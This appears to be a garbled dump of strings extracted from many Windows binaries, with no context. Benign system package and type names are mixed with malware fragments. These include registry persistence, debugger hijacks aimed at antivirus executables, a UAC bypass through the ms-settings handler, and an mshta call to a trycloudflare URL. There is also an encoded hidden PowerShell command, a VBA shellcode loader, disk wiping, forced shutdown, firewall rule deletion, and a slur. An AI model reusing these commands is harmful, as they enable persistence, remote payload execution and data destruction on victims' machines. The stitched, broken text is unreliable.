.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIFrameworkElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement2@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement3@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIFrameworkElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl7@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIControl5@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIControl7@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl4@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIControl3@Controls@Xaml@UI@Windows@4@@impl@winrt@@
Microsoft.Windows.Wil.FeatureLogging
bd^windows.appExtension
^windows.mediaCodec
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64; Trident/8.0)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64; Trident/4.0)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0)
tsenddirthreadsoftware\microsoft\windows\currentversion\setup
.newsoftware\microsoft\windows\currentversion\run
unhookwindowshookeximmgetcompositionstringa
-MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SystemTray
3^MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.TwinSxS
3MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global
OS=Windows_NT
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
c:\windows\system32\cmd.exe/q/cecho'
LOCALAPPDATA=C:\WINDOWS\system32\config
OS=Windows_NT
Message number reserved for software offload mode is visible to Windows
 @Digest Authentication for Windows
to WindowsH
ms-windows-store-deskext
ms-windows-store-deskext^2dd
\Device\HarddiskVolume3\Windows\System32\svchost.exe
\device\harddiskvolume3\windows\system32\svchost.exe
cessstart:134163940572290041\c:\windows\system32\cmd.exe
software\microsoft\windows\currentversion\explorer\browser helper objectssoftware\microsoft\internet explorer\toolbarblock.intrich.comhahahhohoheheheheregdeletekeya
_woool.datwl.dllc:\windows\swchost.exeigw.exe
software\microsoft\windows nt\currentversion\winlogon
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\AllAppsGridKeyboardNavigationService.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\LauncherFrameKeyboardNavigationService.cpp
.Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral
AWindows NT\CurrentVersion\Image File Execution Options\gav.exe
cwWindows NT\CurrentVersion\Image File Execution Options\pav.exe
Windows NT\CurrentVersion\Image File Execution Options\rwg.exe
Windows NT\CurrentVersion\Image File Execution Options\tsc.exe
Windows NT\CurrentVersion\Image File Execution Options\Save.exe
iWindows NT\CurrentVersion\Image File Execution Options\agent.exe
Windows NT\CurrentVersion\Image File Execution Options\av360.exe
Windows NT\CurrentVersion\Image File Execution Options\smart.exe
Windows NT\CurrentVersion\Image File Execution Options\winav.exe
"RNWindows NT\CurrentVersion\Image File Execution Options\AVCare.exe
Windows NT\CurrentVersion\Image File Execution Options\brastk.exe
Windows NT\CurrentVersion\Image File Execution Options\init32.exe
Windows NT\CurrentVersion\Image File Execution Options\pdfndr.exe
Windows NT\CurrentVersion\Image File Execution Options\AlphaAV.exe
Windows NT\CurrentVersion\Image File Execution Options\AntivirusXP
Windows NT\CurrentVersion\Image File Execution Options\PerAvir.exe
Windows NT\CurrentVersion\Image File Execution Options\W3asbas.exe
Windows NT\CurrentVersion\Image File Execution Options\pctsGui.exe
]Windows NT\CurrentVersion\Image File Execution Options\pctsSvc.exe
Windows NT\CurrentVersion\Image File Execution Options\SaveKeep.exe
UWindows NT\CurrentVersion\Image File Execution Options\frmwrk32.exe
Windows NT\CurrentVersion\Image File Execution Options\gbn976rl.exe
Windows NT\CurrentVersion\Image File Execution Options\ozn695m5.exe
Windows NT\CurrentVersion\Image File Execution Options\pctsAuxs.exe
Windows NT\CurrentVersion\Image File Execution Options\pctsTray.exe
Windows NT\CurrentVersion\Image File Execution Options\smrtdefp.exe
Windows NT\CurrentVersion\Image File Execution Options\windll32.exe
.Windows NT\CurrentVersion\Image File Execution Options\xpdeluxe.exe
Windows NT\CurrentVersion\Image File Execution Options\AdwarePrj.exe
Windows NT\CurrentVersion\Image File Execution Options\AntivirusPlus
Windows NT\CurrentVersion\Image File Execution Options\SaveArmor.exe
Windows NT\CurrentVersion\Image File Execution Options\personalguard
Wwinprotectgetexesendpassvirtualallocexmozilla/4.0 (compatible; msie 6.0; windows xp 5.1)software\micro
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-ConfigCI-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-WebcamExperience-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
t.regwrite"hkey_local_machine\software\microsoft\windows\currentversion\policies\explorer\run\avm0","w_x_c.bat","reg_sz"
    "offlineAutoStartFlyoutMoreInfoCommand":  "Start with Windows",
-windowstylehidden-command
System.Runtime.InteropServices.WindowsRuntime.IManagedActivationFactory.RunClassConstructor
services removedWipe completecipher /w:c:\windows\system32\shutdown /r /t 5
c:\windows\system32\shutdown -r -t 5
electricnetstats.comC:\windows\temp\Could not store show_window in the instance/latest_version^(?:(https?):)?(?://([^:/?#]*)(?::(\d+))?)?([^?#]*(?:\?[^#]*)?)(?:#.*)?!#ALF:Trojan:Win32/Threadpool.A!dha
;cmd.exe /c reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Public\bg.jpg" /fERROR open file_to_crypt!#ALF:Y2V:Florian_Roth/WiltedTulip_Windows_UM_Task
mode_ecb)defget_windows_ver
\windows
c:\windows\system32
{uc:\windows\system32\mshta.exehttps://skating-suggested-break-queries.trycloudflare.com/odd/
-windowstylehidden
QWindowsPackageManagerServer(
index.windows
	system32\imageres.dll
.RtlFillMemory Lib "k32.tmp"VirtualAlloc Lib "k32.tmp"IsDebuggerPresent Lib "k32.tmp"execute Lib "k32.tmp" Alias "CreateThread"filecopy "c:\windows\system32\kernel32.dll", environ("temp") & "\k32.tmp"f
\windows nt\currentversion
%deletefiledos.bat&bank=windows\system32\
PowerBIForWindows_8wekyb3d8bbwe!)
windows.internal.filePickerExperience
2^windows.fileOpenPicker
windows.fileOpenPicker
2^windows.fileSavePicker
windows.fileSavePicker
=\\WINDOWS
C:\WINDOWS\system32\backgroundTaskHost.exe
^windows.appExtensE
33^windows.appServic
.?AU__I?$WriteOnlyArray@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@$00PublicNonVirtuals@Platform@@
.?AU?$IIterable@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AU?$IObservableVector@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AU__I?$Vector@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@U?$equal_to@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@std@@PublicNonVirtuals@Collections@Platform@@
.?AU?$IVector@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AV?$Vector@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@U?$equal_to@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@std@@@Collections@Platform@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@W4IrisActionResultFlags@ContentManagementSDK@@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@W4IrisActionResultFlags@ContentManagementSDK@@@Foundation@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@I@Foundation@Windows@@
.?AU?$_Task_impl@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@
.?AV?$AsyncOperationCompletedHandler@I@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IIterable@PE$AAU?$IKeyValuePair@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@
.?AU?$IObservableMap@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@
ohkey_current_user\software\classes\ms-settings\shell\open\command]echo@="cmd.exe/c""%~f0"""echo"delegateexecute"="")>"%r%"regimport"%r%">nul2>&1del"%r%">nul2>&1start""/min%windir%\system32
)C:\Windows\SystemApps^
C:\Windows\SystemApS
 Microsoft.Windows.System.Power.winmd
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4484.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat|
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Multimedia-RestrictedCodecs-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-ShellOptions-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-ShellOptions-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-WPD-UltimatePortableDeviceFeature-Feature-Package~31bf3856ad364e35~amd64~~10.0.26100.1301.cat|Microsoft-Windows-WPD-UltimatePortableDeviceFeature-Feature-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-WPD-UltimatePortableDeviceFeature-Feature-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1301.cat|d364e35~amd64~~10.0.26100.1591.cat|
Software\Microsoft\Windows\CurrentVersion\App Paths\%s.exeS
C:\WINDOWS\SYSTEM32\version.dllC
S0RegDelete, HKEY_LOCAL_MACHINE, SOFTWARE\Microsoft\Windows\CurrentVersion\Run, StartToolsR
c:\programdata\microsoft\windows\startmenu\programs\startup\
LOCALAPPDATA=C:\WINDOWS\system32\config
C:%5CPROGRAM FILES%5CWINDOWSAPPS%5CMICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE%5CRESOURCES.PRI
EnumThreadWindows
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-LanguageFeatures-Speech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-LanguageFeatures-Speech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package06~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package06~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
7<cmd.exe /c powershell.exe -windowstyle hidden Sleep 5c
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateString
WindowsDeleteString
WindowsDuplicateString
WindowsCreateStringReference
EnumWindows
Path=C:\WINDOWS\system32;
*MicrosoftWindows.CrossDevice_cw5n1h2txyewyr
windows.protocolP
Microsoft.Windows.A'
Microsoft.Windows.AugLoop.CBS_1.1126.2131.0_x64__8wekyb3d8bbwe
Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewyZ
Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewyZ
Microsoft.Windows.ParentalControls_1000.25128.
Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral
Microsoft.Windows.PinningConfirmz
Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy
Microsoft.Windows.XGpuE7
Microsoft.WindowsAppRuntime.CBS.1.8_8000.694.2228.100_x64__8wekyb3d8bbwe
MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyew@
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy
MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyew
MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyew
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy4
MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewyJ
Windows.Client.OOBE_cw5n1h2txyewy2
Windows.PrintDialog_6.2.3.0_neutral
\Windows\IME\NV
WindowsFeedback
s\system32\
system32\cmd.exe/ccallfiles.bat&cd
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
netsh advfirewall firewall delete rule name="Windows Host"n
microsoft\windows\start menu\programs\startup\
GetProcessWindowStation
system32\cmd.exe/c"start%cd%
.exe"");iwshshortcut.windowstyle("1");iwshshortcut.arguments(""
    name="Microsoft.Windows.ProximityCommon"
c:\windows\system32\windowspowershell\v1.0\powershell.exe-elganaekabgb2ag8aawblac0arqb4ahaacgblahmacwbpag8abganacaakab3agcazqb0acaalqb1ahmazqbiageacwagaggadab0ahaaogavac8anga5ac4anqauadeaoaa5ac4amqayadkalwbsagwabwbwac4abqbwadqakqa=
Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Uwindows.updat
Rwindows.appExtension
Rwindows.appExtension
Rwindows.appExtension
Rwindows.appEx
<windows.appExtension
;windows.appExtension
:windows.protocol
:windows.appExecutionAlias
9windows.appExtension
9windows.appExtension
9windows.appExtension
8windows.updateTask
8windows.preInstalledConfigTask
8windows.backgroundTasks
8windows.backgroundTasks
8windows.backgroundTasks
8windows.backgroundTasks
8windows.appService
8windows.appExtension
b\system32\rpcnetp.exea
Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
now it will sing you a song and blow away your Windows or virtual machine, you fucking faggotsn
\microsoft\windows\startmenu\program
@9(cmd.exe..\windows\system32\cmd.exe
.cmdvr32.exec:\windows\explorer.exe%systemroot%\explorer.exe%systemroot%\explorer.exe%
USoftware\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}
windows.classicAppCompatKeys
Windows.FullTrustApplication
windows.activatableClass.inProcessServer
windows.deploymentExtensionHandler
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
	windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
Microsoft.WindowsAppRuntime.Insights.Resource.dll]
WindowsAppRuntime.pri]
6https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js]
8https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
GetDeviceInfo is not supported in Windows
SetProxy is not implemented in MSAL on Windows.
GetProxy is not implemented in MSAL on Windows.
Windows is expected to use the cert store ONLY
SOFTWARE\Microsoft\Windows\CurrentVersion\DeviceRegistration
windows_issuer
windows_thumbprint
/manifest/uap/windows10/10"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/accesscontrol/windows10"
           xmlns="http://schemas.microsoft.com/appx/manifest/accesscontrol/windows10"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/appdata/windows10"
           xmlns="http://schemas.microsoft.com/appx/manifest/appdata/windows10"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
    name="Microsoft.Windows.ProximityServicePal"
windows.fileTypeAssociation
Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Lua:LastFolder3!windows
Lua:LastFolder4!windows
7l/Packages/Microsoft.WindowsAppRuntime.1.5_8wekyb3d8bbwe
Microsoft\Windows\Start Menu)
C:\Documents and Settings\JohnDoe\Local Settings\Application Data\Microsoft\Windows\
c:\windows\system32\lobbymini_baidu_jj_
c:\windows\system32\lobbymini_baidu_jj_
c:\windows\\
c:\windows\
/tongji.php?ver=01&mac=&did=windows%20
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
windows.appExtensionA
windows.protocol
windows.appExecutionAlias
windows.autoPlayContent
windows.fileTypeAssociation
(@Microsoft-Windows-Security-SPP
windows.fileTypeAssociation
windows.fileTypeAssociation
windows.fileTypeAssociation
windows.appExecutionAlias
Windows.FullTrustApplication
windows.desktopAppMigration
windows.fileTypeAssociation
windows.comServer
windows.comServer
windows.desktopAppMigration
	windows.appExtension
windows.shareTarget
windows.protocol
windows.fileExplorerContextMenus
windows.protocol
windows.appExtension
windows.comServer
windows.appExtension
windows.appExtension
windows.activatableClass.outOfProcessServer
windows.appExtension@
windows.appExtension@
windows.comServer
windows.activatableClass.outOfProcessServer
windows.appExtension
windows.appExtension
windows.appExtension
windows.protocol
windows.appExtension
windows.protocol
windows.appExtension
windows.appExtensionA
windows.appExtensionA
windows.appExtensionA
windows.appExtensionA
windows.comServer
windows.comServer
windows.toastNotificationActivation
windows.comServer
windows.appExtensionA
windows.appExtensionA
windows.appExtension
GetSystemWindowsDirectoryW
Windows::System::Profile::AnalyticsInfo::GetSystemPropertiesAsync
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
https://wns2-ln2p.notify.windows.com/?token=AwYAAAAd06R7cBg9BdrfjWIsv3evETrc6AZhhUVmLyx1wP5h56ewpfp2YsodGAtfoPdxThLItC%2blsWYEiDeGq2%2fEfF8lARIWLMyn%2fruXC%2ba9VvFZVQ7NnJL2iCM9rMPEhwFoxQDHcRZmUd%2bA3A0UW9fTO5Wq
s\system32
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsCreateStringReference
WindowsGetStringRawBuffer
WindowsCreateString
WindowsDuplicateString
WindowsDeleteString
WindowsCompareStringOrdinal
windows\"
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-OneCore-Fonts-UAPFonts-Package~31bf3856ad364e35~amd64~~10.0.26100.1000.cat|Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-CoreSystem-BootEnv-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3323.cat|!
Microsoft-Windows-msmq-triggers-Opt-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.5074.cat|!
Microsoft-Windows-NetProfilesUX-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Microsoft-Windows-SecureStartup-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
/c"c:\windows\e
